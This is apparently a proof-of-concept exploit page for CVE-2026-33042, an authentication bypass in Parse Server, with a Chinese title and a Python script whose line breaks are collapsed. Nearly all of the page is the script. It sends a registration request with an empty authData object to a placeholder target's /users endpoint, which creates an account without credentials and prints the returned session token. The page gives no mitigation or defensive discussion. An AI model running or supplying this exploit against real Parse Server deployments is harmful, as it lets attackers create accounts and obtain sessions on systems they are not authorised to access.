CVE-2026-33042: Parse Server空authData绕过认证漏洞

import requests import json # CVE-2026-33042 PoC - Parse Server Authentication Bypass # Target: Parse Server < 8.6.49 or < 9.6.0-alpha.29 TARGET_URL = "http://target-server:1337/parse" # Replace with actual target def exploit_auth_bypass(): """ Exploit empty authData to bypass credential requirements during Parse Server user registration. """ # Create user with empty authData - bypasses username/password requirement payload = { "username": "attacker_account", # Arbitrary username "authData": {}, # Empty authData object - KEY TO EXPLOIT "email": "[email protected]" } headers = { "X-Parse-Application-Id": "YOUR_APP_ID", "Content-Type": "application/json" } try: response = requests.post( f"{TARGET_URL}/users", json=payload, headers=headers, timeout=10 ) if response.status_code in [200, 201]: result = response.json() print(f"[+] SUCCESS: Account created without credentials!") print(f"[+] User ID: {result.get('objectId')}") print(f"[+] Session Token: {result.get('sessionToken')}") return True else: print(f"[-] FAILED: Status {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-33042 - Parse Server Auth Bypass Exploit") print("="*60) exploit_auth_bypass()